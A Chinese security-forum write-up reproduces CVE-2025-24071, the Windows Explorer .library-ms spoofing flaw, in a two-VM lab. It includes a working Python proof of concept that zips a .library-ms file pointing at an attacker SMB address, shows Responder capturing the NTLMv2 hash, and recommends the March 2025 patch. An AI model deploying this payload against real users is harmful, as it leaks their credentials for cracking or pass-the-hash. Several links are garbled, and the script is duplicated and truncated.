首页
社区
课程
招聘
[原创]Windows 文件资源管理器欺骗漏洞(CVE-2025-24071) 复现
发表于: 2025-3-24 16:42 5153

[原创]Windows 文件资源管理器欺骗漏洞(CVE-2025-24071) 复现

2025-3-24 16:42
5153

Windwos 的文件资源管理器(Explorer.exe)信任基于XML格式 .library-ms 文件。.library-ms文件被压缩在RAR/ZIP 文件后解压时,文件资源管理器会立即自动处理,解析该文件的内容,以渲染适当的图标、缩略图或元数据信息。

如果攻击者提供的.library-ms文件中包含一个<simpleLocation>标签,直接指向攻击者控制的SMB服务器,如图所示:

Windows 资源管理器会自动尝试解析该 SMB 路径(\\192.168.1.116\shared),以获取元数据和索引文件信息。这一操作会触发受害者系统向攻击者控制的 SMB 服务器发起隐式的 NTLM 认证握手。因此,受害者的 NTLMv2 哈希会在无需用户显式交互的情况下被发送出去。

SMB(Server Message Block,服务消息块)协议是应用程序级别的网络协议,主要用于共享打印机、文件访问、串行端口以及网络上的节点之间的其他通信。 SMB 还可以与任何设置为接收 SMB 客户端请求的服务器程序通信。SMB 主要由 Windows 系统使用,是一种经过验证的进程间通信机制。永恒之蓝(EternalBlue)就是利用微软SMB服务协议漏洞进行攻击的。

准备两台虚拟机使用 NAT 连接网络,并保证两台虚拟机之间能互相 Ping 通

查询 Windows 版本

此版本在漏洞影响范围之类,受影响的系统版可以查询c8dK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6E0M7%4u0U0i4K6u0W2L8h3W2U0M7X3!0K6L8$3k6@1i4K6u0W2j5$3!0E0i4K6u0r3N6i4m8V1j5i4c8W2i4K6u0V1k6%4g2A6k6r3g2Q4x3V1k6$3N6h3I4F1k6i4u0S2j5X3W2D9K9i4c8&6i4K6u0r3b7#2k6q4i4K6u0V1x3U0l9J5y4g2)9J5k6o6t1@1x3o6M7I4

运行上述Python脚本得到了exploit.zip压缩包,里面包含Test.library-ms192.168.98.130是用来接受NTLMv2 哈希的 Kali 虚拟机的 IP 地址。

解压放在桌面的exploit.zip时,启动 Process Monitor,并按照下图添加筛选规则

点击 Add,之后再点击 Apply,然后解压 exploit.zip

可以清楚地观察到,在解压 zip 文件后,以下操作会由 Explorer.exe 和索引服务(如 SearchProtocolHost.exe)自动执行:

解压exploit.zip压缩包时,在 Kali 系统中启用 responder,打开 Windows 中的 Wireshark 中监控 smb 和 smb2 的流量

Responder 是一款开源的网络协议欺骗工具,主要用于在本地网络中捕获和利用NetBIOS、LLMNR和MDNS协议中的漏洞。通过Responder,攻击者可以进行中间人攻击(MITM),捕获凭据,甚至进行网络钓鱼攻击。它是渗透测试和红队操作的重要工具之一。

打开压缩文件时,Windows 的 Wireshark 监控的 SMB 网络流量如图所示

同时也可以在 Kali 系统中看到 Responder 接收到了NTLMv2 哈希值

NTLM-Hash算法是微软基于LM-Hash算法的弱点设计而成的算法。它对字母大小写敏感,是基于MD4实现的,穷举难度相对LM-Hash较大。从Windows NT4.0开始,NTLMv2(NTLM第2版)被用作全新的身份验证方法。

NTLM v2 哈希一旦被捕获,攻击者可以在自己的设备上进行离线破解尝试,不受目标系统的登录限制或锁定策略影响。在企业网络中,NTLM v2 凭据泄露可能导致攻击者进行横向移动。即使无法破解哈希,攻击者也可能执行"传递哈希"(Pass-the-Hash)攻击,直接使用捕获的哈希值进行身份验证,无需知道明文密码。

在 Kali 中可以看到,Windows 发送过来的信息,包括 IP 地址、系统用户名以及可能导致极大危害的NTLMv2哈希。

有兴趣的读者可以试试,如果解压一个只包含空文本 txt 的压缩文件,是检测不到任何网络流量的,这进一步证明了前述操作所产生的 SMB2 网络连接就是由精心构造的 Poc 造成的。

更新 Windows 系统,或者手动安装微软官方于 2025 年 3 月 11 日发布的漏洞补丁,可在此链接(d6fK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6E0M7%4u0U0i4K6u0W2L8h3W2U0M7X3!0K6L8$3k6@1i4K6u0W2j5$3!0E0i4K6u0r3N6i4m8V1j5i4c8W2i4K6u0V1k6%4g2A6k6r3g2Q4x3V1k6$3N6h3I4F1k6i4u0S2j5X3W2D9K9i4c8&6i4K6u0r3b7#2k6q4i4K6u0V1x3U0l9J5y4g2)9J5k6o6t1@1x3o6M7I4)根据自己系统的版本型号下载补丁。

e69K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6U0N6r3W2Q4x3X3g2E0L8$3&6K6N6r3g2J5i4K6u0r3j5X3I4G2k6#2)9J5c8U0t1H3x3U0g2Q4x3V1j5H3x3#2)9J5c8U0p5^5i4K6u0r3b7#2k6q4i4K6u0V1x3U0l9J5y4g2)9J5k6o6t1@1x3o6M7I4i4K6u0W2K9s2c8E0L8l9`.`.

77aK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1j5H3P5o6k6J5M7%4y4Q4x3V1k6o6g2V1g2Q4x3X3b7J5x3o6t1#2i4K6u0V1x3U0b7H3y4K6q4Q4y4h3k6b7L8@1y4Q4x3V1k6T1L8r3!0T1i4K6u0r3L8h3q4A6L8W2)9J5c8Y4m8G2j5#2)9J5k6i4m8&6

522K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6U0j5i4c8S2L8r3!0Y4i4K6u0W2N6i4m8V1j5i4c8W2i4K6u0W2L8h3W2U0M7X3!0K6L8$3k6@1i4K6u0W2j5$3!0E0i4K6u0r3f1$3g2S2M7X3y4Z5i4K6u0W2j5i4y4H3P5q4)9K6c8Y4q4Q4x3@1c8w2b7U0f1H3y4e0x3#2z5e0j5`.

857K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6E0M7%4u0U0i4K6u0W2L8h3W2U0M7X3!0K6L8$3k6@1i4K6u0W2j5$3!0E0i4K6u0r3N6i4m8V1j5i4c8W2i4K6u0V1k6%4g2A6k6r3g2Q4x3V1k6$3N6h3I4F1k6i4u0S2j5X3W2D9K9i4c8&6i4K6u0r3b7#2k6q4i4K6u0V1x3U0l9J5y4g2)9J5k6o6t1@1x3o6M7I4

0bdK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2K6k6h3y4J5M7%4y4Q4x3X3g2U0L8$3#2Q4x3V1k6S2M7Y4c8A6j5$3I4W2M7#2)9J5c8U0M7$3y4K6V1K6

import os
import zipfile
 
def main():
 
    library_content = f"""<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
  <searchConnectorDescriptionList>
    <searchConnectorDescription>
      <simpleLocation>
        <url>\\\\192.168.98.130\\shared</url>
      </simpleLocation>
    </searchConnectorDescription>
  </searchConnectorDescriptionList>
</libraryDescription>
"""
 
    library_file_name = f"Test.library-ms"
    with open(library_file_name, "w", encoding="utf-8") as f:
        f.write(library_content)
 
 
    with zipfile.ZipFile("exploit.zip", mode="w", compression=zipfile.ZIP_DEFLATED) as zipf:
        zipf.write(library_file_name)
 
 
    if os.path.exists(library_file_name):
        os.remove(library_file_name)
 
    print("completed")
 
if __name__ == "__main__":
    main()
import os
import zipfile
 
def main():
 
    library_content = f"""<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
  <searchConnectorDescriptionList>
    <searchConnectorDescription>
      <simpleLocation>
        <url>\\\\192.168.98.130\\shared</url>

[培训]科锐逆向工程师培训第53期2025年7月8日开班!

收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回